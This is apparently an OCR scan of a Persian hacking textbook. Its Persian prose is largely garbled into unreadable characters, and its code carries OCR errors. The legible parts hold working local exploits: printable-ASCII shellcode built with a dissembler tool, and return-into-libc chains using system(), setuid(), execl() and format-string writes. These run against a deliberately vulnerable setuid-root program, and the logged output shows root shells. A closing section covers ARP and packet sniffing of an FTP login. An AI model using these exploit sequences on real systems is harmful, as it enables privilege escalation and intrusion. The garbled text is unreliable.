Oxbffffcel: 0x00000000 0x00000000 0x00000000 0x00000000
OxbffffcfO: 0x00000000 0x00000000 0200000000 0x00000000
Oxbfff£d00: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfff£fdl0: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfff£d20: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfff£fd30: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfff£fd40: 0x00000000 0x00000000 0200000000 0x00000000
Oxbfff£fd50: 0x00000000 0x00000000 0200000000 0x00000000
Oxbfff£fde60: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfff£d70: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfff£fd80: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfff£fdo0: 0x00000000 0x00000000 0200000000 0x00000000
Oxbffffdal: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffdb0: 0x00000000 0x00000000 0x00000000 0x00000000
OxbffffdcO: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffddo: 0x00000000 0x00000000 0x00000000 0x00000000
OxbffffdeO: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffdf0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
Oxbffffe00: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffell: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffe20: 0x00000000 0x00000000 0200000000 0x00000000
Oxbffffe30: 0x00000000 0x00000000 0x00000000 0x00000000
OxbffffedO: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffeb50: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffe60: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffe70: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffe80: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffed0: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffeal: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffebl: 0x00000000 0x00000000 0x00000000 0x00000000
OxbffffecO: 0x00000000 0x00000000 0200000000 0200000000
OxbffffedO: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffeel: 0x00000000 0x00000000 0x00000000 0x00000000
OxbffffefO: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfff££00: 0x00000000 0x00000000 0x00000000 0x00000000

1.



Oxbffff£f10: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfffff20: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffff£30: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfffff40: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffff£50: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfffffe0: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfffff70: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffff£f80: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffff£90: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfffffal: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfffffb0: 0x00000000 0x00000000 0x00000000 0x00000000
OxbfffffcO: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfffffd0: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbfffffel: 0x00000000 0x61682f00 0x6e696b63 0x6c632f67
Oxbffffff0: 0x65726165 0x74735f64 0x006b6361 0x00000000
(gdb)

Oxc0000000: Cannot access memory at address 0xc0000000

(gdb) x/s Oxbfffffeb

Oxbfffffeb5: "/hacking/cleared stack"

(gdb)

G0l 3 Gy K ) b3 s 1) iy dbi Sy 903,5 JLGDB L (6,0l a5 gein 35 03,5 JalelS Sl oy
o Sy Lably iy 45 303 g0 0Lt 4y Ll (3355 )3 Wdl> ) p2 .0aB3 (50 I3 Sgiduse Sy ibl> &S
s pole i) S5 Olgie 4 B> | Connd ol Galos b camnl 035k by iy (S5 35 93 i (g puaie Lol .39

sl 2l Y 5 40l o puaic O 45 35,8
o oS Caalad G355 b 43 1) el (512 3395 eailss (g0 couiS @bt ol BB 35— b 4 1) 4ali p pl ST
ol Ll 0315 1B 5L s 0932 b o Yige pb unis Cugr (Symbolic) (sl wlis VL I euilgs

il g0 5 pgs b 3T )8 cpl juj Jle oS 23liul
$ ./dissembler -e -b 34 tinyshell
dissembler 0.9 - polymorphs bytecode to a printable ASCII string

- Jose Ronnick <matrix@phiral.com> Phiral Research Labs -
438C 0255 861A OD2A 6F6A 14FA 3229 4BD7 5ED9 69DO

[e] Escape the backslash: ON
[b] Bridge size: 34 words
*] Dissembling bytecode from 'tinyshell'...

[+] dissembled bytecode is 195 bytes long.
$R6HJI%$-H$1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt P-05yp--MrvP-999t-4dKd-xbyoP-
Ai6A-7x%7Z~-
kxsMP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-0000-AEA3 -
P$%%*PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

3= S L 2l smy (o=Bly 35— b Sl gz 13 3,05 (00 J1B iy Sl (S0 03 3S-Jb ol 09z
9003 35— b (slel 3 Cab ) 33l Jilao 130 el Cub P 35— Lt Usb 097 oS 03 | o)) (sl
pac oSy (sl 5 BLS| Col ¥ 13 3135 Gaubs 4ty b F LIS b gl ) ol Lol sgi 42138 LS
S 2SI il aslitwl b didy slesl s Cub PF ol by 02135 (g0 JUS 393 Gholod )3 jui Jloiz| Gaubis
Juast Sy sl sl ol BB 35— b ol 9% ol 535 5 3055 3395 50 S NOP Jy iles (sl Vg

D9 Go)lS.;backslash XS o3us k}mu);,ﬂ),hm L c.aj,.w 13 (o sl Glall g o3 o (gl GLES
$ 1n -s /hacking/cleared stack %$R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-

hAt P-05yp--
MrvP-999t-4dKd-xbyoP-Ai6A-7Zx%Z-kx$MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2~-
5Ab5-

52Y7P-N8y8-S8r8P-0000-AEA3-P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

$ 1s -1 %%
1TWXTWXTWX 1 matrix

users 22 Aug 11 17:29 $R6HJ%$-H%$1-UUUU-MXXv-—



gRRtP\-ffff-yLXy-hAt P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-kx$MP-nnnn-
eI3e-fHM-P-

zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-0000-AEA3 -
P%$%%*PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP -> /hacking/clearedistack

$

el 455 Olits Sl .l 235logBl 46l jl o3 as 9 Sl BB aS-Jib ol Ol dumwlne g5 OS]
Sl Gose U5 Lol 03,5 32550 juats 13) Cuwl 4ty slesil ywsdT ol 0% -390 OXDEFFTD u)sT )5 b 0 pb
ol Cul 190 Ol BB 3S-Ji Jsb 05z (shift) cél salys Jisl ddl> 5 gl (widT S 4 b 4 pb

75 5u5 )18 OXDIFFTI38 o ysT 13 3L 46l o pb (slamsl 130
$ pcalc Oxfffb - 195

65336 Oxf£f38 O0y1111111100111000
$ ./%R6HJI%$-H$1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt P-05yp--MrvP-999t-4dKd-
xbyoP-Ai6A-

Zx%Z-kxsMP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-0000—-
AEA3-

P%%%SPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 'perl -e 'print
"\x38\xff\xff\xbf"x8; "'

sh-2.05b# whoami

root

sh-2.05b#

L 2ls Sob lois da iS5 ool 338 b 53985 59 4 1 2l 215 00 45 Cawl (SwiS5 ol Ji 55— Jd
Sy o o 395 s 5 101 4 b ST (ul 3,018 it 3U ey Josol s 8 9 SLuS 5

.))')
C ailay35 @y CubSjl WP\

2L o) g S o glanST ol )3 (b 805 SO 13 )l 4dy $9) Sz 2l 4 il b bl ol
I S a3 3S- b cJoe ol plowl b .l @iy (on-executable) 9ss w2l Jlisé j| Olaebl Jgua>
Do g0 e )5 D90 j9) pB 4S (£l b STl g5 ol 592 salsS poliiwllly Abl 9290 45 didy

3135 o P 1) by i gheanST 51 (5 )bunn
Lozl Bt diidy Byzmo S5 03 39790 S 40l 03,5 S ghunST sl 13T Olgs (g0 45 3)15 3929 (SuiSS 2l
GlliS .59 o 5Ll Returning into LibC L) C Glowls v cuiS )b Olgie Cos SuST opl .5 0 )0
o= exit() o printf() Jio 398 o Joli 1) Giliseo Juol @olg5 45 Camsl C 5 Ikl bl G (LIBCL)C
abg ro LS G 1) =l 359 S oo a3liwl Printf() @b jl 45 4ol o 2 13) (5l oo 4d1AS S asl 4 glgs
So 1) ol sl 3595 9 0315 plowil 1) IS (pred 33155 g0 lisds o Car ghoasST Sy 38 0 il libC 3
23 €393 30 ol 4S il 39350 [IDC 3 39250 @ilg5 4 ST Cudole .S Culaa libe ys Hasuin @b

.),&uo.i|).?|%69)}:{@»db,ﬁb@.),ﬁou@uﬁb;)}go:ﬂbgézagbplﬁobédb.)S—Jifol._a%w._a_l.io
system() b 4 ciS,L.F,1),)

1 x>l 0lesS )T So @ .l system() gls «euiS 5k oT 4 Olgd g0 45 libe @ilgs (5 23k jI (S
JLse Olg=ie 44 VUIN2.C 3y w40l jl Lxisl 43 338 g0 Lzl /bIn/sh b 1) olegS )T T 9 03,8 cidl s

.r».S <° aslawl

42 Oxbffffffb — 195 = Oxbfffff38
Vo5



S=% 035 1=l 0930 g system() sl GLulS @b 4 S o L1y i WT@U)gGwlwlde'ug_l
Salgs syl diwgy SO ipud sy @b ul 41, "'/bin/sh" ObesS )1 51 S Ly SO dugi 4 game iy (S9)

W)

$ cat vuln2.c
int main(int argc, char *argvl[])

{
char buffer[5];
strcpy (buffer, argvi[l]):;
return 0;

}

$ gcc -o vuln2 vuln2.c
$ sudo chown root.root vuln2
$ sudo chmod u+s vuln2

Oloj b 1S (ol Lol el gline el s )3 O (2l 3,8 (s 1ibC s 3L 1) system() @b oIS (sl
LS B Sy s T 28b cgz b oly o5 Ol Sl (S5 .35k sialss BL OluSy libe sazme 0ai JolelS
= 030lio 1) 4l o oyl pmj 3 il OT 03,5 Slus 9 (dummy) Jls Bsa g (Sisbe 4ol pw S sbwl (sl

W) Y]

$ cat > dummy.c
int main ()
{

system() ;

}

$ gcc -o dummy dummy.c

$ gdb -g dummy

(gdb) break main

Breakpoint 1 at 0x8048406

(gdb) run

Starting program: /hacking/dummy

Breakpoint 1, 0x08048406 in main ()

(gdb) p system

$S1 = {<text variable, no debug info>} 0x42049e54 <system>
(gdb) quit

S 9 03 b Sl S5 s b 0T 03 JololS 1 amy .S s 25kl System() @b jl b (Sasbo 40l 5
2T o 23 Giules 4 System() @b e Gusw 39 o0 Lzl b .l 48,3 )15 0T (glal > gy abis
ol 22 @Blg 0x42049€54 4w )3T 3 system() @b 3)90 ol 2>

B 590 2l s bl ogd colsa libe ys system() gU 4 xlg5 (o 12l 359, «OleMbl (ol (il sl ) b
30b b il diuwgy S 61 ghiio 4 system("/bin/sh") szl cagz 3y cawT b0 03,5 Jgamo o
G iy jl @b 0lgS )T 9 et o ool dibe 4 cuiS L pa .euiS Sl @b (pl 4 (bin/sh) olesS )T S
IS @b 6 OlegS )T Huw 9 CuliS o oo T sl 139) 3als5 LT lad (5l Yool 4 339 o0 UL (Sose0
1wl 4 4 return-into-libe gles 1,8 G iy (59, .35 05 (0

(Q_gl'a' u-w):.i U:j).l w).ﬁ.-i I Ql-agf)'i ¥ Olfjfs-.).i g (_;l.a&'S')'i s
1 1 l l l 1 1 1 1 l l l 1 1

21833, 5L LuTalibe Sles1)d uy 0L 12l 339, 45 ol GwisT b 3590 GBS R GwysT )l ses s
3l 488 )15 i 5 4 @6 sl OlogS )T plod jus S o o3 Tl oy (S o o T) Cansl 43,8

ol gy S5 45 1z 033 )80 JU xS 4 4ol syl 359, 1D Sls31)8 Sl Guy 45 Cassasd o0 390 (2l 3
35 o3l "FAKE" Jlsio sl )15l G Olgic 40 Olgh (o0 Cub £ opl il ol ulo .ab 32195 b b (sl 0
S50 2 13 Olgs oo 1) 4 ol .l /biN/sh i) 4 5Ll S5 OT 9315 3929 @U (S0 OlosS )T S L
] paolio Ol o puitio S Wio 03,5 5 pus> dbidl>



$ export BINSH="/bin/sh"

$ ./gtenv BINSH

BINSH is located at Oxbffffc40
$

2 b g1zl plin 4 s "/bin/sh" sy GussT 9 cuwl 0x42049€54 Ll 1o system() gl wssT guy
L 4S 39 o gialr wdT (6o S L ol diiiy (590 S 0 wisT =2y .39 aalss OxbIFffc40 L
359, system() (glg-31 )8 1 jumy 45 G oo 093) 2301 FAKE OT Jlis 43 o2 g9 0 0x42049e54

bl 43,5 1,5 OXbITTTCd0 5o sl 43 9 (33,5 o0 Jb xS € 40l 0 (g1 =
Lty (§9) oS 3 T 4S o3 ) 455l 4 @232 8315 plowsl VUIN2 4ol 0 (59, Wb &S o GiulosT >
1o " (dummy) Sl sla 313 jl LolS Caid 13 39 g0 s sial> b (5399 1 4olS ot dhannlgy

2590 0 IS 4 Lad O3S 4 slm

$ ./vuln2 'perl -e 'print "ABCD"x7
"\x54\x9e\x04\x42FAKE\x40\xfc\xff\xbf"; "'

sh-2.05a$ id

uid=500 (matrix) gid=500 (matrix) groups=500 (matrix)
sh-2.05a$ exit

exit

Segmentation fault

$ 1s -1 vuln2

“TWSTWXI—X 1 root root 13508 Apr 16 22:10 wvuln2
$

i Lael b 4 i) dwgy J9 392 SUId TOOE & )90 4 VUINZ 4ol o 42 51 Lol 03 S IS system() glgs 8
O] mhw B3> o Wi (al 9 35S 00 121 /bin/sh G )b jl 1) juz 4o System() gl 45 cul OT Jul>

bbbl 3929 JSuko ol 030T HB sl sal) 2L 53,8 o
C 4buls 4 ciS5L sl Sle>1,8 03, o a5 V0 1LY

=8 ol el (253,8 slgiiay 1) libe sl Sle31 8 03,5 oz Solar Designer BT BugTraq ys (st >
Josliwl g b Olgs (g0 ) o pummiy (ol 398 (o0 Sle31 8 Ol mbw (2L L sl setuid() g system()
setuid() @b 1) le18 S i s GussT s mw .3,8 sloul 2 g8ly Clie 390 45 CuiS w1 Jlaio

1wl S9guiine i S > &S (Chain) 4iS o o uzijsystem() 4

setuid() g1 system() =031 setuid() (LesS,T system() OlesS,1

| I | | I | | I | | I |
OlasS T 13 o3l Zliml 0lesS )T SO hid @b ol 09z 33,5 g0 =l Giuls 0logS )T setuid() Slos1 s
&L L Lzl 35y« Slgs1,8 plasl jl guoy 393 (0 48,5 5393L (322 4S) system() Sls=1,8 4 by r

398 g0 1rzl 93,5 o3liwl 393 OlogS )T jI Wil Gub 45 53,5 0 jb system()
gz Gh9s o=l L dl) 0 (5050 (15 OUSs Lol el 61 ) WolS W (595158 03,5 5 pu20i) (s 4 b
13 il 5 3590 Ceolle G910 e 208 S O ge0 4 setUid() OlogS T .50 3929 SLeS mhuw (LU
ol JSie 4 b b Slawbio 130356 0X00000000 b sl slxie ol 3L 4y Sllasl mh UL 0

I ozl gl cmnl OT slesl o3ins OLis gy ol 45 did) S5 jgin b 3L 45 1z o195 o 2 g S
OT Ul Jladio 45 <l 0X01010101 0lagS )T mal (5l pm 23kiissl Jolb Jlacdio 1 ptaS go—s Lo ol

259y 50 NS 4 Ui Sy 93,5 g (8 1D Ay cCamms oo Lo T 1o 45wl o 0315 Jhite



oo Olozl o 1 Jlg51 13 03,5 50555 5391 Lol cCnnass Lo ghbao 03id 4omis YL gebw 4,51 .cansl 16843009

paiS Olomiel ) (6505 sl o) b 13 el (25N L 9
$ cat > dummy.c
int main() { setuid(); }
$ gcc -o dummy dummy.c
$ gdb -g dummy
(gdb) break main
Breakpoint 1 at 0x8048406
(gdb) run
Starting program: /hacking/dummy

Breakpoint 1, 0x08048406 in main ()

(gdb) p setuid

$1 = {<text variable, no debug info>} 0x420b5524 <setuid>
(gdb) quit

The program is running. Exit anyway? (y or n) y

$ ./vuln2 'perl -e 'print "ABCD"x7
"\x24\x55\x0b\x42\x54\x9e\x04\x42\x01\x01\x01\x01\x40\xfc\xff\xbf"; "'
sh-2.05a$ id

uid=16843009 gid=500 (matrix) groups=500 (matrix)

sh-2.05a$ exit

exit

Segmentation fault

$

LS b 4 s ) o2 0 ) 5] GLLS Slg31)8 93,5 g (S e 4 0lgs (g Ly settid() @b pwssT
G 1) LT a9 235195 9 0305 yige setid() U o OlogS )T 4yl 50 398 (0 pubiid 3 2315 b g5 Wb
Lol 3 oo biis 16843009 & g0 40 (5 1S duwlih by g0 S 45 ygb Olod .l 0315 iuled eudud & jgu0
L 4y 0315 0Lk 0939 iz pb 4 3L 315 ©9lis Jlu 4y SLS| b b 0T SLis | b 9 4wl oy

355 )8 1y setuid(0) Slaz1,d b 4 z9y sla Cub
dun by jl aslawl V) )Y

Lwlid oo by 4wl o .Cunl (Wrapper) oaias Lider 4olip Sy jl osliiwl 9 slowl 550 9 83lw 8l S

35 2alg3 Lzl 15T suid 100t 3y T 40l 10 45 1z o)1 gl ol

Sl Yl )3 aslitwl ))y,@jd._u_l.;.olfdl.‘{t.ﬂ d3idd g by SO 0 905 00

$ cat > wrapper.c

int main ()

{

setuid(0) ;

setgid (0) ;

system ("/bin/sh") ;

}

$ gcc -o /hacking/wrapper wrapper.c

$ export WRAPPER="/hacking/wrapper"

$ ./gtenv WRAPPER

WRAPPER is located at Oxbffffc71

$ ./vuln2 'perl -e 'print "ABCD"x7
"\x54\x9e\x04\x42FAKE\x71\xfc\xff\xbf"; "'
sh-2.05a$ id

uid=500 (matrix) gid=500 (matrix) groups=500 (matrix)
sh-2.05a$ exit

exit

Segmentation fault

$



315 o 15T Juls (ArOp) 359 g0 B3> b jgin SLis mhuw 383 (g0 0L Vb ;29,5 < ysb Olod
o =1/bin/sh G,k jl ) juz den ju @U (pl 9 39 (00 I system() gU jl oslizwl b osins Giubgs 40l
QU Sy Ul 433,85 o033 Libss b syl plEid 4 JLis] mhus O3 B3> azge sol aed 9 IS
ol - 3igd B3 sl 5 UL ghas 13 9 338 o o3lil /bin/sh jlexecl() Jio 55 g rmo 51y

3,5 35U 9 w20 at pu 4 iolojT 4ol o iz b Olg5 o 1) Ol

$ cat > test.c
int main ()

{

system (" /hacking/wrapper") ;

}

$ gcc -o test test.c

$ sudo chown root.root test

$ sudo chmod u+s test

$ 1s -1 test

“ITWSTWXT—X 1 root root 13511 Apr 17 23:29 test

$ ./test

sh-2.05a$ id

uid=500 (matrix) gid=500 (matrix) groups=500 (matrix)
sh-2.05a$ exit

exit

$

$ cat > test2.c

int main ()

{

execl ("/hacking/wrapper", "/hacking/wrapper", 0);

gcc -o test2 test2.c

sudo chown root.root test2

sudo chmod u+s test2

ls -1 test2

“TWSYWXT—X 1 root root 13511 Apr 17 23:33 test2
$ ./test2

sh-2.05a# id uid=0(root) gid=0(root) groups=500 (matrix)
sh-2.05a# exit

exit

$
4ol o S 090 jlexecl() L sasias gy 4ol w 0 [l & )90 13 45 3iS 0 35U SiwlojT slo 40U 0

U Uy Uy Uy —

U el system() gLl 5 saagm execl() gU alawbio .ad salgs bael bo 4 4y diwgy S5 suid root
4w 4 execl() gL Lal ol jLs a=ly 0losS )T S 4 Lo system() @b libe 4 S b cuz jogas
Lol (0logS )T Camd 01315 4eils (510) 328k g2 Sl Jlez 2L OT 0bogS )T 3T 45 31 gliml OlesS T
LT.5gd o potio euidls Ud (Ui silo (ISo 40 9 39 50 gl (5 4y L 4515 Caw Z 92 Sl ol

25 dlgid ) (> ol 2sily 50

C 4luls 4 ciSjb @b jl ggg by ol adgs K1 )L

F s U ail o jl Jod 60503 Slo-31,9 2L paiis 2 execl() Sls318 S 18 0 Ct & Cannl (o230
&L L Lol Joe ol cmlio (U 8L cgzr libe @ilgs plos 15 sl Oloj B o b .swngin L) 92 2L
ool sl adls pos Ul B ol b Coo pi-aid) s slaunsST 1 3L Lot .01 3aaw printf()
L Egu090 (I3l Cwd 393 jlo 3,50 S sl 4 hid 4S aaS o0 RU 1) OBl (pl Sl paiine (oliws
b gs g Olgd (o L) V0N Cao 9 Loyl pizrod 594 g0 &Bl9 sudo lIDC sla 191,38 O3S o juowj pia

13 Bl 1) 4 e (S iuz 20 23b b ) (SleF18 3 0 U L ge b lex



printf(} . 570 execl() o1 106380 3T " hacking/wrapper'' | "/hacking/wrapper” Ol o o g2 T
] ] ] ] ] ] ] ] ] ] ] ] ] ] ] ]

23 3990 Camo b 4ty )3 yiol )y paltine (ol 1 03kl Lol 398 g0 1l OlogS )T ez L printf() g lazl
OlasS )T Olod widT jus OlesS )T 5T 09z 39 g0 pow 9 p95 OlosS )T I R 0320 camw OlosS )T (gl
execl() gL 4 L=l 359y g 3,5 ialgs wngisl> ) OlogS )T ol 9 b olez 13 S o sileS )
4S) pow OlogS )T & 90 ol 4 35S anlys o3kl 39290 OlosS )T duw jI G Uil Gab @ (pl 9 33,5 5o b

9 0 g2 Col SO L OlogS )T Cannd 0313 0L s (392 035 i gislr g9y b b

Oizod 983 )5 ey ) libe golss sl wsdT 3L 02358 Iy o g1 35T )8 5 pibeny (5130 o> ob 45 09351
.ﬁh))lﬁ@l’))')%))&%

$ cat > dummy.c

int main() { printf(0); execl(); }

$ gcc -g -o dummy dummy.c

$ gdb -g dummy

(gdb) break main

Breakpoint 1 at 0x8048446: file dummy.c, line 1.
(gdb) run

Starting program: /hacking/dummy

Breakpoint 1, 0x08048446 in main () at dummy.c:1

1 int main() { printf(); execl(); }

(gdb) p printf

$1 = {<text variable, no debug info>} 0x4205alb4 <printf>
(gdb) p execl

$2 = {<text variable, no debug info>} 0x420bde54 <execl>
(gdb) quit

The program is running. Exit anyway? (y or n) y

$

$ export WRAPPER="/hacking/wrapper"

$ export FMTSTR="%3\S$n"

$ env | grep FMTSTR

FMTSTR=%35n

$ ./gtenv FMTSTR

FMTSTR is located at Oxbffffedf

$ ./gtenv WRAPPER

WRAPPER is located at Oxbffffc65

$

o3 T iz 3 OlogS )T ol 315 OLaS 1) OlogS )T (3T GwasT s 4 b 3090 Sl o T plos Vb o)
2o ST 30l o T ol 39 o domuts 4diSl> 3 L 03> O (oS g €S 59 2algs S i
394 50 03Lixul (UU) 23S (sl 2313 b Lad 03,5 3 (5 ol FA I ol PA .3sb ol FA o9)ey buffer
il 4 L) D9 gm0 4IS LS return-into-libe slgs1 8 jl Jud sl GwisT sl w5 0T jlcub Ve 5
Sl Lo ol oy 5 83k (S (38 Sglice Lad 035 1 slp b 3090 L) sl 2315 sl (;Son Loy pitanen
ol OT 33200 0358 J1kolS 9 1135 om0l o @ui03S 4 15 JISCBI dhoz> S5 0358 6Ll o T ol 38,5

$ cat vulnD.c
int main (int argc, char *argvl([])
{
char buffer([5];
printf ("buffer is at %p\n", buffer); // debugging
strcpy (buffer, argvi[l]):;
return 0;
}
$ gcc -o vulnD vulnD.c
$ ./vulnD test
buffer is at Oxbffffa80
$ ./vulnD 'perl -e 'print "ABCD"x13;''
buffer is at Oxbffffa50
Segmentation fault

1)



$ pcalc 0xfab0 + 48
64128 0xfa80 O0y1111101010000000

$
23 BL Lol 5ed o Ly buffer jusio Gu)oT (Cusl €8l Gioles easd )90 4) 15 JISEI b SaS L

B g0 2l vuln2 4ol o 45 cunl 43,5 1,8 seoline OlS0
¥ ol OlogS )T e shannnST 35T 18 JUS 3 394 50 DUTRT justiio O uaii cammw b o OlogS )T Usb Lol
a0 3T (56,8 Lz Sy ob b oz 0losS )T Sy Sl Olgs g -390 3255 515 (Cul OF Uslee) oS
39 1wy execl() @U OlogS )T (puogaw O b a2 48Lal buffer ju)sT 4 cul FA Gugw 3,5 23kl buffer
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"\x54\x4e\x0b\x42" .
"\xdf\xfe\xff\xbf" . "\x65\xfc\xff\xbf"™ . "\x65\xfc\xff\xbf"
"\x80\xfa\xff\xbf";""'
sh-2.05a# id
uid=0(root) gid=0(root) groups=500 (matrix)
sh-2.05a# exit
exit
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(gdb) break main

Breakpoint 1 at 0x8048476
(gdb) run

Starting program: /hacking/d.o

Breakpoint 1, 0x08048476 in main ()

(gdb) p sprintf

$1 = {<text variable, no debug info>} 0x4205a234 <sprintf>
(gdb) p setuid

$2 = {<text variable, no debug info>} 0x420b5524 <setuid>
(gdb) p system

$3 = {<text variable, no debug info>} 0x42049e54 <system>
(gdb) quit

The program is running. Exit anyway? (y or n) vy

$ export BINSH="/bin/sh"

$ export FMTSTR="%$2\S$n'printf "\x54\x9e\x04\x42";'"

$ env | grep FMTSTR

FMTSTR=%25nTB

$ ./gtenv BINSH

BINSH is located at Oxbffffc34

$ ./gtenv FMTSTR

FMTSTR is located at Oxbffffedd

$ ./vulnD 'perl -e 'print "ABCD"x13;''

buffer is at Oxbffffa60

Segmentation fault

$ pcalc 0xfa60 + 28 + 8

64132 Oxfa84 0y1111101010000100
$ pcalc Oxfaoc0 + 28 + 12

64136 0xfa88 0y1111101010001000
$ ./vuln2 'perl -e 'print "ABCD"x7 . "\x34\xa2\x05\x42"
"\x24\x55\x0b\x42" .
"\x84\xfa\xff\xbf" . "\xdd\xfe\xff\xbf" . "\x34\xfc\xff\xbf"

"\x88\xfa\xff\xbf"; "'

sh-2.05a# id

uid=0(root) gid=500(matrix) groups=500 (matrix)
sh-2.05a#
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ARP request

Source MAC: 00:00:00:aa:aa:aa
Dest MAC: ff£:ff:£f£f:£f:££:££f
"Who has 10.10.10.50?"

First system Second system
IP:10.10.10.20 IP: 10.10.10.50
MAC:00:00:00:aa:aa:aa MAC: 00:00:00:bb:bb:bb

ARP reply
Source MAC: 00:00:00:bb:bb:bb

Dest MAC: 00:00:00:aa:aa:aa
"10.10.10.50 is at 00:00:00:bb:bb:bb"

Lasol 038 1,80 (10.10.10.50) 35 etamsan IP 3T U 1y (P (59,) TCP Jlaasl Sy salgsn sl ptampus S
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S 0 03liwl 95 9 CuiS (50 20T Cawy (1381 Cudeaw w3 T I g 9 35S (50

aASub )s Glylwl ., W
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Loy 40 g ot p 9 33935 (00 45 )3 39290 Jalwg plad I o 51 Sl diny (o md Sud Y 59y
G S > iy S 0313 1S W pa 43l el 3T U ol ST 3uaie )3T S 3 15 4295 2
L diwy olod O Juails u“)-‘T I B O o dawwg S |z il Smie Yoo Promiscuous) sacli o & )90
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03kl Uy el gedly o) o905 13 45 j3b Olod 3003 o 416 0326 o Cl> 43 G50 oy ssb 4
23,5 Jlosl ) 222l o cl> Olgs g0 ifconfig

# ifconfig ethO

ethO Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

Interrupt:9 Base address:0xc000

# ifconfig ethO promisc
# ifconfig ethO

72 Packet Capture
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ethO Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
BROADCAST PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:9 Base address:0xc000

#

39 (o Lt SNIffing) il p L 3,135 ol Sz pyac sl Log ) 45 b G (CAPLUTE) basd Jace
3 jlse @2l y5 1) SLeMbl glgil 03,8 bl Ol szrim mb 4Sad S 43 232 o > 5 by dians G el

:AA)GoQLi.JbL:alh.awl)i)‘;?,)&G),leob
# tcpdump -1 -X 'ip host 192.168.0.118'
tcpdump: listening on ethO
21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1
win 17316
<nop, nop, timestamp 466808 920202> (DF)

0x0000 4500 005d e065 4000 8006 97ad cOa8 0076 E..]l.e@........ v
0x0010 c0a8 00cl 0015 800a 292e 8a73 5ed4 S9ce8 .. ...... ) ..s™. ..
0x0020 8018 43a4 al2f 0000 0101 080a 0007 1f78 N O X
0x0030 000e 0OaBa 3232 3020 5459 5053 6f66 7420 .220.TYPSoft.

0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.O.99.
0x0050 3133 13

21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840
<nop,nop, timestamp 920662 466808> (DF) [tos 0x10]

0x0000 4510 0034 966f 4000 4006 21bd c0a8 00cl E..4.0Q@.Q@.!.....
0x0010 cOa8 0076 800a 0015 5ed4 9ce8 292e 8a9c R R
0x0020 8010 16d0 81ldb 0000 0101 080a 000e 0c56 ... Vv
0x0030 0007 1£78 e X

21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42
win 5840
<nop,nop, timestamp 921434 466808> (DF) [tos 0x10]

0x0000 4510 0040 9670 4000 4006 21b0 cOa8 00cl E..Q.p@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8alc P VA A R
0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a it nnnnn 7
0x0030 0007 1£78 5553 4552 206c 6565 6368 0d0a . .xUSER. leech..

21:27:52.415487 192.168.0.118.ftp > 192.168.0.193. 32778 P 42:76(34) ack 13
win
17304 <nop,nop,timestamp 466885 921434> (DF)

0x0000 4500 0056 eOac 4000 8006 976d cOa8 0076 E..V..@....m...Vv
0x0010 c0a8 00cl 0015 800a 292e 8a%c 5ed4 9cf4 ... .... ) A
0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 LGN, e
